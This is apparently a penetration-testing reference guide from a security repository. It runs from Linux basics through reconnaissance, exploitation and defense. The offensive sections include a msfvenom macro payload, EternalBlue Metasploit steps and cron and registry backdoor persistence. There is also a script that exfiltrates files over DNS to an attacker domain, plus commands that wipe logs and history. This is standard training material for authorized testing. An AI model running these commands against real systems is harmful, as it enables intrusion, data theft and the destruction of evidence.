Repository navigation
The Ultimate Cybersecurity Master Guide
Caution
Authorized use only. The techniques below are for authorized security testing, education, and defensive research. Using them against systems you do not own or lack explicit written permission to test is illegal. See LEGAL.md.
Incorporating PNWC Internal Knowledge Base & Guides + 70+ Professional Books
Curated practice and research sources: Topic-mapped GitHub security collections ยท CTF/ethical lab pathways.
Featured PNWC Field Project: Cyberdeck Public Reference ยท Complete Documentation Index. The Cyberdeck companion covers a portable, consent-first assessment system but does not release the private operator portal.
- Core Cybersecurity Concepts
- Linux Command Line Mastery
- Python for Security Professionals
- Bash Scripting for Red Teams
PART II: RECONNAISSANCE & ENUMERATION
- Information Gathering Techniques
- Network Scanning & Discovery
- Service Enumeration
- Web Application Reconnaissance
PART III: VULNERABILITY ASSESSMENT
- Metasploit Framework Mastery
- Buffer Overflow Exploitation
- Web Exploitation Techniques
- Password Attacks
- Client-Side Exploitation
- Privilege Escalation
- Lateral Movement
- Persistence Mechanisms
- Data Exfiltration
- C2 Frameworks & Tradecraft
- AV/EDR Evasion - Detection & Defense
- Living Off the Land (LOLBins/LOLBAs)
- Covering Tracks
- Active Directory Attacks
- Active Directory - Attacks & Defense
- Cloud Security & Exploitation
- Mobile Device Security
- IoT & Hardware Hacking
- Wireless Network Security
- Network Security Architecture
- Firewall Configuration
- Intrusion Detection Systems
- Security Monitoring & SIEM
- Incident Response
- Network Detection & Packet Analysis
Current companion modules (November 2026)
- Tradecraft Overview
- C2 Frameworks
- AV/EDR Evasion - Detection & Defense
- Living Off the Land
- OSINT & Threat Intelligence
- Network Detection & Packet Analysis
- Active Directory - Attacks & Defense
The foundational, book-derived technical reference - key takeaways from 70+ professional security books condensed into a single full-lifecycle guide (foundations through exploitation through defense). Unlike ENHANCED_MASTER_GUIDE.md, this file contains no PNWC-specific operational/internal-KB content - it's the "textbook" layer, not the "field experience" layer.
11 parts covering the complete pentest lifecycle: Foundations, Recon/Enumeration, Vulnerability Assessment, Exploitation, Post-Exploitation, Advanced Topics (AD, cloud, mobile, IoT, wireless), Defensive Security, Specialized Skills (malware/forensics/RE/social engineering), Automation/Tooling, Professional Practice, and a Tradecraft Reference part that links out to the dedicated Tradecraft/ folder for the deepest offensive-tradecraft material (C2, evasion, LOLBins, AD attacks - kept in their own folder rather than duplicated here). Differs from SPECIALIZED_TOPICS_GUIDE.md, which covers emerging/niche domains (AI security, hardware hacking, SDR, space security) not covered in this core lifecycle guide.
A reader can execute a complete penetration test - from reconnaissance through reporting - using only the commands and methodology in this single file, escalating to ENHANCED_MASTER_GUIDE.md or Tradecraft/ only when they need PNWC-specific operational context or deep offensive tradecraft.
As the primary technical reference during an engagement, when studying for OSCP/CEH/GPEN, or as the first stop before consulting the more specialized guides.
The eleven foundational parts above remain the core learning sequence. The repository also contains maintained, hands-on modules that extend this overview. Use the links below for current procedures, compatibility caveats, evidence handling, and platform-specific setup; this master guide is an orientation document, not a substitute for validating commands against the target system.
| Topic | Canonical guides and relevant next steps |
|---|---|
| Cryptography and key management | Applied cryptography, encrypted storage fundamentals, and classical ciphers and cryptanalysis. Distinguish encryption at rest from authentication. |
| Phishing-resistant account access | FIDO2, WebAuthn, passkeys, and security-key certification and SoloKeys setup. Certification levels are not FIDO protocol versions; plan spare-key enrollment and account recovery. |
| Experimental removable storage | PhantomDrive research guide. Treat hidden-storage and deniability claims as a research topic, not a substitute for vetted encryption or verified backups. |
| Operating-system privacy | OPSEC index, Tails USB, and Whonix/Kicksecure setup. Select the operating model based on actual risk, persistence, and network needs. |
| Safe device and data handling | Press freedom and source protection, retention and removal planning, and duress/seizure response. Respect legal holds and preserve required evidence; no technique guarantees recovery prevention. |
| Portable Cyberdeck assessment system | Cyberdeck project index, field network design, authorized workflow, and evidence handling. Public documentation only; no proprietary application released. |
| Authorized reconnaissance | OSINT methodology, investigation playbook, and network audit playbook. Confirm written scope and collection limits first. |
| Wireless survey and visibility | Wardriving guide, field workflow, Wireshark master filter catalog, and wireless deauthentication detection. Passive surveying is not authorization for interference. |
| Detection and monitoring | IDS/IPS catalog, KismetโWazuh wireless lab, nzymeโWazuh integration, and SIEM reference. |
| Deception and incident response | Honeypot deployment index, Wazuh honeypot integration, and digital forensics index. Use segmented, monitored lab resources. |
| Software, infrastructure, and cloud | Web application testing, cloud security, container and Kubernetes security, and compliance frameworks. |
| Evidence, logging, and reporting | Data engineering and telemetry, network assessment playbook, security checklists, and practical cheat sheets. |
| Specialized devices and analysis | Specialized topics guide, NanoVNA RF measurement, Tsurugi OSINT, and REMnux malware analysis. |
Maintenance note (November 2, 2026): This companion-module index was reconciled with the repository's current guide paths. Earlier command examples elsewhere in this long-form master document should still be checked against the relevant maintained topic page and current upstream documentation before use.
Confidentiality - Data accessible only to authorized parties
Integrity - Data remains unaltered and trustworthy
Availability - Systems and data accessible when needed
Multiple layers of security controls:
- Physical security
- Network security
- Host security
- Application security
- Data security
- Reconnaissance - Information gathering
- Weaponization - Creating exploit payload
- Delivery - Transmitting weapon to target
- Exploitation - Executing code on victim system
- Installation - Installing malware/backdoor
- Command & Control - Remote control channel
- Actions on Objectives - Achieving attacker's goals
# Navigation
pwd # Print working directory
ls -la # List all files with details
cd /path/to/dir # Change directory
find / -name file.txt # Find files
locate filename # Fast file location
which command # Find command location
whereis command # Find command, source, man pages
# File Operations
cat file.txt # Display file contents
less file.txt # Page through file
head -n 20 file.txt # First 20 lines
tail -n 20 file.txt # Last 20 lines
tail -f /var/log/auth.log # Follow log file in real-time
grep "pattern" file # Search for pattern
awk '{print $1}' file # Process columns
sed 's/old/new/g' file # Stream editor
cut -d: -f1 /etc/passwd # Extract fields
# File Permissions
chmod 755 file # Change permissions (rwxr-xr-x)
chmod +x script.sh # Make executable
chown user:group file # Change ownership
umask 022 # Set default permissions
# Archiving & Compression
tar -czf archive.tar.gz directory/ # Create compressed archive
tar -xzf archive.tar.gz # Extract archive
zip -r archive.zip directory/ # Create zip
unzip archive.zip # Extract zip
gzip file.txt # Compress file
gunzip file.txt.gz # Decompress file# Process Viewing
ps aux # All running processes
ps aux | grep nginx # Find specific process
top # Interactive process viewer
htop # Better process viewer
pstree # Process tree
# Process Control
kill PID # Terminate process
kill -9 PID # Force kill
killall process_name # Kill by name
pkill -f pattern # Kill by pattern
# Background/Foreground
command & # Run in background
jobs # List background jobs
fg %1 # Bring job 1 to foreground
bg %1 # Send job 1 to background
nohup command & # Run immune to hangups# Network Information
ip addr show # Show IP addresses
ip route show # Show routing table
ifconfig # Network interfaces (legacy)
netstat -tulpn # Listening ports
ss -tulpn # Socket statistics (modern)
lsof -i :80 # What's using port 80
# Network Testing
ping -c 4 host # Ping 4 times
traceroute host # Trace route to host
mtr host # Combined ping/traceroute
nc -zv host 1-1000 # Port scan with netcat
curl -I https://site.com # HTTP headers
wget https://site.com/file # Download file
# Network Capture
tcpdump -i eth0 # Capture on interface
tcpdump -i eth0 -w capture.pcap # Save to file
tcpdump -r capture.pcap # Read from file
tcpdump port 80 # Capture port 80
tcpdump host 192.168.1.100 # Capture specific host# User Information
whoami # Current user
id # User ID and groups
w # Logged in users
last # Login history
lastlog # Last login per user
# User Management
useradd username # Create user
userdel username # Delete user
passwd username # Change password
usermod -aG group user # Add user to group
su - username # Switch user
sudo command # Execute as root
# Permission Discovery
sudo -l # Check sudo privileges
find / -perm -4000 2>/dev/null # Find SUID binaries
find / -writable -type d 2>/dev/null # Writable directories
getcap -r / 2>/dev/null # Find capabilities# System Information
uname -a # Kernel info
cat /etc/*-release # OS version
lsb_release -a # Distribution info
hostname # System name
uptime # System uptime
dmesg # Kernel messages
# Hardware Information
lscpu # CPU information
lspci # PCI devices
lsusb # USB devices
lsblk # Block devices
df -h # Disk space
free -h # Memory usage
# Service Management (systemd)
systemctl status service # Check service status
systemctl start service # Start service
systemctl stop service # Stop service
systemctl enable service # Enable at boot
systemctl list-units --type=service # List services
journalctl -u service # Service logs# Common Log Locations
/var/log/auth.log # Authentication logs
/var/log/syslog # System logs
/var/log/apache2/ # Apache logs
/var/log/nginx/ # Nginx logs
/var/log/mysql/ # MySQL logs
# Log Analysis Commands
# Failed SSH logins
grep "Failed password" /var/log/auth.log
# Successful SSH logins
grep "Accepted" /var/log/auth.log
# Top attacking IPs
grep "Failed password" /var/log/auth.log | \
awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head -10
# Find suspicious sudo usage
grep "sudo" /var/log/auth.log | grep -v "session opened"
# Monitor log in real-time
tail -f /var/log/syslog | grep --line-buffered "ERROR"Note
Canonical reference: advanced Python automation lives in advanced_techniques_supplement.md. Keep major updates there; this section is a foundational summary.
#!/usr/bin/env python3
# Variables and Data Types
ip_address = "192.168.1.1"
port = 80
is_vulnerable = True
services = ["ssh", "http", "mysql"]
host_info = {"ip": "192.168.1.1", "os": "Linux"}
# String Operations
banner = "HTTP/1.1 200 OK"
if "HTTP" in banner:
print("Web server detected")
# String formatting
print(f"Scanning {ip_address}:{port}")
print("Host: {} Port: {}".format(ip_address, port))
# Lists and Iteration
for service in services:
print(f"Checking {service}")
# Dictionaries
for key, value in host_info.items():
print(f"{key}: {value}")
# List Comprehension
open_ports = [p for p in range(1, 1001) if check_port(p)]# Reading files
with open('passwords.txt', 'r') as f:
passwords = f.readlines()
# Writing files
with open('results.txt', 'w') as f:
f.write("Scan results:\n")
for result in results:
f.write(f"{result}\n")
# Appending to files
with open('log.txt', 'a') as f:
f.write(f"[{timestamp}] Event logged\n")
# Binary file operations
with open('payload.bin', 'rb') as f:
data = f.read()
# JSON files
import json
with open('config.json', 'r') as f:
config = json.load(f)
with open('output.json', 'w') as f:
json.dump(data, f, indent=4)import socket
# TCP Client
def tcp_client(host, port):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))
# Send data
client.send(b"GET / HTTP/1.1\r\nHost: " + host.encode() + b"\r\n\r\n")
# Receive response
response = client.recv(4096)
print(response.decode())
client.close()
# TCP Server
def tcp_server(port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', port))
server.listen(5)
print(f"[*] Listening on port {port}")
while True:
client, addr = server.accept()
print(f"[*] Connection from {addr[0]}:{addr[1]}")
data = client.recv(1024)
print(f"[*] Received: {data.decode()}")
client.send(b"Message received")
client.close()
# Port Scanner
def port_scanner(target, ports):
print(f"Scanning {target}")
open_ports = []
for port in ports:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((target, port))
if result == 0:
print(f"[+] Port {port} is open")
open_ports.append(port)
sock.close()
return open_portsNote
Canonical reference: advanced offensive Bash lives in advanced_techniques_supplement.md. Keep major updates there; this section is a foundational summary.
#!/bin/bash
# Variables
TARGET="192.168.1.100"
PORT=80
SCAN_TYPE="SYN"
# Command substitution
CURRENT_DATE=$(date +%Y-%m-%d)
IP_ADDRESS=$(hostname -I | awk '{print $1}')
# User input
read -p "Enter target IP: " target
read -sp "Enter password: " password # Silent input
echo
# Command line arguments
TARGET=$1
PORT=$2
if [ -z "$TARGET" ]; then
echo "Usage: $0 <target> <port>"
exit 1
fi# If statements
if [ -f "/etc/passwd" ]; then
echo "File exists"
fi
if [ "$USER" == "root" ]; then
echo "Running as root"
else
echo "Not root"
fi
# Numeric comparison
if [ $PORT -gt 1024 ]; then
echo "High port"
fi
# For loops
for port in {1..100}; do
echo "Scanning port $port"
done
for ip in 192.168.1.{1..254}; do
ping -c 1 -W 1 $ip > /dev/null 2>&1 && echo "$ip is up"
done
# While loops
while read line; do
echo "Processing: $line"
done < wordlist.txt# Domain enumeration
whois domain.com
nslookup domain.com
dig domain.com ANY
host -t mx domain.com # Mail servers
host -t ns domain.com # Name servers
host -t txt domain.com # TXT records
# Subdomain enumeration
fierce --domain domain.com
sublist3r -d domain.com
# DNS zone transfer
dig axfr @ns1.domain.com domain.com
# Search engines
site:domain.com filetype:pdf
site:domain.com intitle:"index of"
site:domain.com inurl:admin# Ping sweep
nmap -sn 192.168.1.0/24
# ARP scan (local network)
nmap -PR 192.168.1.0/24
# Disable ping
nmap -Pn 192.168.1.100
# TCP SYN ping
nmap -PS22,80,443 192.168.1.0/24# Quick scan (top 100 ports)
nmap --top-ports 100 192.168.1.100
# Scan all 65535 ports
nmap -p- 192.168.1.100
# Scan specific ports
nmap -p 22,80,443,3306 192.168.1.100
# TCP SYN scan (stealth)
nmap -sS 192.168.1.100
# Version detection
nmap -sV 192.168.1.100
# OS detection
nmap -O 192.168.1.100
# Aggressive scan
nmap -A 192.168.1.100# Nmap SMB scripts
nmap --script smb-enum-shares,smb-enum-users 192.168.1.100
nmap --script smb-os-discovery 192.168.1.100
# enum4linux
enum4linux -a 192.168.1.100
# smbclient
smbclient -L //192.168.1.100 -N
smbclient //192.168.1.100/share -U usernameNote
Canonical reference: the dedicated web section is WebAppSecurity/ - OWASP Top 10 deep-dive and a full testing methodology. This section is a summary.
# Gobuster
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://target.com -w wordlist.txt -x php,html,txt
# Dirb
dirb http://target.com
dirb http://target.com wordlist.txt -X .php,.html
# ffuf
ffuf -u http://target.com/FUZZ -w wordlist.txt
ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200,301,302# Basic scan
nikto -h http://target.com
# Scan with specific tests
nikto -h http://target.com -Tuning 1234
# Save output
nikto -h http://target.com -o results.html -Format html
# Use proxy
nikto -h http://target.com -useproxy http://127.0.0.1:8080# Basic test payloads
' OR '1'='1
' OR '1'='1'--
admin'--
# sqlmap automated testing
sqlmap -u "http://target.com/page?id=1"
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D database --tables๐ Deep Dive: OSINT & Threat Intelligence covers full OSINT methodology, Shodan/Censys/amass/Maltego/SpiderFoot, breach data sources, MISP/OpenCTI threat intel platforms, IOC operationalization, and Windows + Linux tool installs for every major OSINT tool.
- SQL Injection
- Cross-Site Scripting (XSS)
- Cross-Site Request Forgery (CSRF)
- Remote Code Execution (RCE)
- Local File Inclusion (LFI)
- Remote File Inclusion (RFI)
- Server-Side Request Forgery (SSRF)
- XML External Entity (XXE)
- Insecure Deserialization
- Security Misconfiguration
Note
Canonical reference: the deepest Metasploit treatment lives in advanced_techniques_supplement.md. Keep major updates there; this section is a foundational summary.
# Start Metasploit
msfconsole
# Search for exploits
search type:exploit platform:windows smb
# Use an exploit
use exploit/windows/smb/ms17_010_eternalblue
# Show options
show options
# Set options
set RHOSTS 192.168.1.100
set LHOST 192.168.1.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp
# Run exploit
exploit# Route through compromised host
run autoroute -s 10.10.10.0/24
# Port forwarding
portfwd add -l 3389 -p 3389 -r 10.10.10.50
# SOCKS proxy
use auxiliary/server/socks_proxy
set SRVPORT 1080
run -jNote
Canonical reference: in-depth exploit development lives in advanced_techniques_part2.md. Keep major updates there; this section is a foundational summary.
- Fuzzing to find crash
- Controlling EIP
- Finding bad characters
- Finding jump point (JMP ESP)
- Generating shellcode
- Exploiting the vulnerability
# John the Ripper
john --wordlist=rockyou.txt hashes.txt
# Hashcat
hashcat -m 0 -a 0 hashes.txt rockyou.txt
# Hydra (online attacks)
hydra -l admin -P passwords.txt ssh://192.168.1.100# Generate malicious Office document
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f vba
# Browser exploitation with BeEF
beef-xss# Check sudo permissions
sudo -l
# Find SUID binaries
find / -perm -4000 2>/dev/null
# Check cron jobs
cat /etc/crontab
ls -la /etc/cron.*
# LinPEAS automated enumeration
./linpeas.sh# Check privileges
whoami /priv
# PowerUp enumeration
powershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"
# WinPEAS automated enumeration
winpeas.exe- Pass-the-Hash
- Pass-the-Ticket
- Overpass-the-Hash
- Token Impersonation
- Remote Desktop Protocol (RDP)
- Windows Remote Management (WinRM)
- PsExec
- WMI See the full deep-dive reference below; each technique includes tools, commands, and Sysmon/KQL detection rules for both Windows and Linux.
๐ Deep Dive: Active Directory Lateral Movement Covers WMI, PsExec, DCOM, pass-the-hash, pass-the-ticket, and Overpass-the-Hash with Sysmon/KQL detection for each technique.
# Cron job
(crontab -l; echo "* * * * * /tmp/backdoor.sh") | crontab -
# SSH keys
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
# Systemd service
# Create malicious service file# Registry run keys
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\backdoor.exe"
# Scheduled task
schtasks /create /tn "Update" /tr "C:\backdoor.exe" /sc onlogon
# WMI event subscription
# Create malicious WMI filter and consumer๐ Deep Dive: LOLBins Persistence covers
schtasks, registry Run keys, and WMI event subscription persistence with Sigma detection rules and ASR hardening.
#!/bin/bash
# DNS exfiltration script
FILE=$1
DOMAIN=$2
base64 $FILE | fold -w 32 | while read chunk; do
nslookup "$chunk.$DOMAIN" 8.8.8.8 > /dev/null 2>&1
echo "[*] Sent chunk: ${chunk:0:10}..."
sleep 0.5
done# Clear bash history
history -c
cat /dev/null > ~/.bash_history
# Clear system logs (requires root)
echo "" > /var/log/auth.log
echo "" > /var/log/syslog
# Windows event logs
wevtutil cl System
wevtutil cl Security
wevtutil cl Application# BloodHound
bloodhound-python -u username -p password -d domain.local -ns 192.168.1.10 -c all
# PowerView
powershell -ep bypass -c ". .\PowerView.ps1; Get-DomainUser"
# Enumerate domain users
net user /domain
# Enumerate domain groups
net group /domain๐ Full Reference: Active Directory - Attacks & Defense covers BloodHound/SharpHound, Kerberoasting, AS-REP roasting, Golden/Silver/Diamond tickets, DCSync, ACL abuse, GPO abuse, domain persistence, and the full hardening checklist.
Note
Canonical reference: the dedicated Cloud/ section covers AWS, Azure/Entra ID, and GCP in depth (misconfigurations, attack surface, hardening). This section is a summary.
# List S3 buckets
aws s3 ls
# Check for public buckets
aws s3 ls s3://bucket-name --no-sign-request
# Enumerate EC2 instances
aws ec2 describe-instancesNote
Canonical reference: the dedicated mobile section is Mobile/; deeper mobile pentesting is in advanced_techniques_part2.md. This section is a foundational summary.
# ADB commands
adb devices
adb shell
adb pull /data/data/com.app/databases/database.db
# Reverse engineering APK
apktool d app.apk
jadx app.apk# binwalk for firmware analysis
binwalk firmware.bin
binwalk -e firmware.bin
# strings analysis
strings firmware.bin | grep -i password# Monitor mode
airmon-ng start wlan0
# Capture handshake
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Deauth clients
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# Crack WPA2
aircrack-ng -w rockyou.txt capture.cap# Install WireGuard
apt-get install wireguard
# Generate keys
wg genkey | tee privatekey | wg pubkey > publickey
# Start VPN
wg-quick up wg0# View rules
iptables -L -v -n
# Block IP
iptables -A INPUT -s 192.168.1.100 -j DROP
# Allow SSH
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
# Save rules
iptables-save > /etc/iptables/rules.v4# Install Snort
apt-get install snort
# Run Snort
snort -A console -q -c /etc/snort/snort.conf -i eth0OSSEC is the original open-source host-based IDS project. Wazuh is its actively-maintained fork โ same core detection engine (file integrity monitoring, log analysis, rootkit detection), plus a modern web UI, agent management, and compliance dashboards that plain OSSEC no longer receives active development on.
For a full deployment guide (server install, agent enrollment, FIM, active response, compliance modules), see IncidentResponse/SIEM/wazuh.md.
If you specifically need vanilla OSSEC (e.g. an existing OSSEC deployment you're maintaining, not starting fresh):
# Start OSSEC
/var/ossec/bin/ossec-control start
# Check status
/var/ossec/bin/ossec-control status๐ Deep Dive: Network Detection & Packet Analysis covers Zeek, Suricata, Wireshark, pktmon, Defender for Endpoint KQL, C2 beacon detection scripts, DNS tunneling/DGA detection, and full NSM stack setup.
- Preparation - Have IR plan ready
- Identification - Detect and confirm incident
- Containment - Limit damage
- Eradication - Remove threat
- Recovery - Restore systems
- Lessons Learned - Post-incident review
- Virus - Replicates by modifying programs
- Worm - Self-replicating network spreader
- Trojan - Disguised malicious software
- Ransomware - File encryption extortion
- Spyware - Activity monitoring
- Rootkit - System-level hiding
- Keylogger - Keystroke recording
๐ Deep Dive: AV/EDR Evasion - Detection & Defense covers FLARE VM, REMnux, Volatility 3, PE-sieve, Moneta, CyberChef, and Sysinternals for Windows and Linux malware analysis, plus recognition patterns for all major evasion techniques (AMSI bypass, ETW tampering, process injection, sleep obfuscation).
# Create disk image
dd if=/dev/sda of=image.dd bs=4M status=progress
# Calculate hash
md5sum image.dd
sha256sum image.dd
# Mount forensic image
mount -o ro,loop image.dd /mnt/forensic- Ghidra
- IDA Pro
- radare2
- Binary Ninja
- Hopper
- Pretexting - Fabricated scenarios
- Baiting - Enticing offers
- Quid Pro Quo - Service exchange
- Tailgating - Unauthorized physical access
- Vishing - Voice phishing
- Smishing - SMS phishing
import os
from pathlib import Path
def organize_files(directory):
"""Organize files into subdirectories by extension"""
for file in Path(directory).glob('*.*'):
if file.is_file():
extension = file.suffix[1:]
dest_dir = Path(directory) / extension
dest_dir.mkdir(exist_ok=True)
shutil.move(str(file), str(dest_dir / file.name))- Identify need/gap in existing tools
- Design tool architecture
- Implement core functionality
- Add error handling
- Create documentation
- Test thoroughly
- Share with community
- Static Application Security Testing (SAST)
- Dynamic Application Security Testing (DAST)
- Software Composition Analysis (SCA)
- Container scanning
- Infrastructure as Code (IaC) scanning
- Secret scanning
- Scope Definition - Define targets and boundaries
- Rules of Engagement - Establish testing parameters
- Legal Authorization - Get written permission
- Communication Plan - Set up contact procedures
- Information Gathering - OSINT and reconnaissance
- Vulnerability Assessment - Identify weaknesses
- Exploitation - Attempt to exploit vulnerabilities
- Post-Exploitation - Assess access and impact
- Reporting - Document findings and recommendations
# Executive Summary
## Overview
[Brief description of engagement]
## Scope
[Systems tested]
## Key Findings
- [Number] Critical vulnerabilities
- [Number] High vulnerabilities
- [Number] Medium vulnerabilities
## Risk Rating
Overall Risk: [Critical/High/Medium/Low]
## Recommendations
1. [Priority 1 recommendation]
2. [Priority 2 recommendation]- CFAA (USA) - Unauthorized access is illegal
- GDPR (EU) - Data protection requirements
- Always get written authorization
- Stay within defined scope
- Report findings responsibly
- Discover vulnerability
- Verify the issue
- Document thoroughly
- Contact vendor privately
- Allow time to fix (90 days)
- Coordinate public disclosure
Operational tradecraft reference covering C2 frameworks, evasion techniques, living-off-the-land, OSINT methodology, network detection, and Active Directory - structured for both red team and blue team practitioners. Each file covers offensive technique context alongside detection, hunting, and defensive hardening guidance.
| File | Coverage | MITRE ATT&CK |
|---|---|---|
| C2 Frameworks | Cobalt Strike, Sliver, Havoc, malleable C2, redirectors, JA3 detection | TA0011 |
| AV/EDR Evasion | Static evasion, AMSI, ETW, API hooks, syscalls, injection, FLARE VM, REMnux, Volatility | TA0005 |
| LOLBins / LOLBAs | certutil, mshta, regsvr32, wmic, bitsadmin, comsvcs.dll, Sigma rules, ASR/WDAC | TA0002, TA0005, TA0008 |
| OSINT & Threat Intel | Maltego, SpiderFoot, Shodan, amass, trufflehog, MISP, OpenCTI, IOC lifecycle | TA0043 |
| Network Detection | Zeek, Suricata, Wireshark, pktmon, Defender for Endpoint KQL, beacon detection, DNS tunneling | TA0010, TA0011 |
| Active Directory | BloodHound, Kerberoasting, Golden/Silver/Diamond tickets, DCSync, domain persistence, hardening | TA0006, TA0004, TA0008, TA0003 |
Windows (FLARE VM)
# Install FLARE VM on clean Windows 10/11 VM
# https://github.com/mandiant/flare-vm
Set-ExecutionPolicy Unrestricted -Force
.\install.ps1
# Installs: x64dbg, Ghidra, PE-bear, CFF Explorer, Procmon, Process Hacker,
# Regshot, FakeNet-NG, CyberChef, dnSpy, de4dot, WiresharkLinux (REMnux)
# Install REMnux on Ubuntu (see docs.remnux.org for the current SHA256 to verify)
curl -O https://REMnux.org/remnux
chmod +x remnux && sudo mv remnux /usr/local/bin
sudo remnux install
# Installs: Volatility 3, YARA, Ghidra, radare2/Cutter, oledump, pdf-parser,
# NetworkMiner, Wireshark, FakeNet-NG, inetsimMemory Forensics (Volatility 3)
pip3 install volatility3
python3 vol.py -f memory.dmp windows.pslist # process list
python3 vol.py -f memory.dmp windows.malfind # injected code / hollowing
python3 vol.py -f memory.dmp windows.netscan # network connections
python3 vol.py -f memory.dmp windows.hollowprocessesKey Detection Tools
PE-sieve - scan running processes for injection/hollowing (Windows)
Moneta - in-memory IOC scanner (Windows)
Zeek - protocol log generation from PCAP or live (Linux primary)
Suricata - IDS/IPS rules engine (Windows + Linux)
pktmon - built-in Windows packet capture (Win10 2004+)
Sysmon - extended Windows event telemetry
Sigma - cross-platform detection rule format
CyberChef - decode obfuscated payloads (browser / cross-platform)
# Install Atomic Red Team
Install-Module -Name invoke-atomicredteam,powershell-yaml -Scope CurrentUser
# Key test mappings to Tradecraft files:
Invoke-AtomicTest T1562.001 # AMSI bypass โ av-edr-evasion.md
Invoke-AtomicTest T1055 # Process injection โ av-edr-evasion.md
Invoke-AtomicTest T1218 # LOLBin execution โ lolbins-lolbas.md
Invoke-AtomicTest T1003.001 # LSASS dump โ active-directory.md
Invoke-AtomicTest T1558.003 # Kerberoasting โ active-directory.md
Invoke-AtomicTest T1071.004 # DNS C2 โ network-detection.md- nmap - Network scanner
- masscan - Fast port scanner
- theHarvester - OSINT gathering
- Shodan - Internet device search
- Maltego - OSINT visualization
- Metasploit - Exploitation framework
- sqlmap - SQL injection
- BeEF - Browser exploitation
- Responder - Credential capture
- Mimikatz - Credential dumping
- BloodHound - AD analysis
- PowerSploit - PowerShell toolkit
- Empire - Post-exploitation framework
21 - FTP
22 - SSH
23 - Telnet
25 - SMTP
53 - DNS
80 - HTTP
110 - POP3
143 - IMAP
443 - HTTPS
445 - SMB
3306 - MySQL
3389 - RDP
END OF FIXED CYBERSECURITY MASTER GUIDE
This comprehensive guide has been corrected with working internal navigation links.
- README.md - Repo index
- START_HERE.md - Navigation guide for all sections
- ENHANCED_MASTER_GUIDE.md - Enhanced version with PNWC operational experience
- SPECIALIZED_TOPICS_GUIDE.md - Specialized domains supplement
- cybersecurity_cliff_notes.md - Quick command reference companion
โฌ ๏ธ Back to Master Index | ๐ฏ Role Navigation | Legal Notice
๐ Source: ultimate_cybersecurity_master_guide.md | โ๏ธ Suggest an edit | โฌ
๏ธ Back to Master Guides & Repository Reference
- ๐บ๏ธ Browse by Topic
- ๐ All Repository Files
- ๐งญ Learning Paths
- ๐ Master Guide
- ๐ค Glossary
- โ๏ธ Legal & Disclaimer
๐ Foundations & Learning
๐ก๏ธ Defense & Investigations
- Incident Response
- Open Source Intelligence (OSINT)
- Reverse Engineering
- Operations Security (OPSEC)
- Compliance
โ๏ธ Platforms & Infrastructure
๐ก Hardware, Wireless & Field Projects
- PNWC Cyberdeck
- Hardware Testing
- Hardware Hacking
- Software-Defined Radio
- Wardriving
- uConsole
- Space Security
๐งฐ Assessment & Field Reference
๐ฆ Downloads & Project Resources
๐๏ธ Additional Topics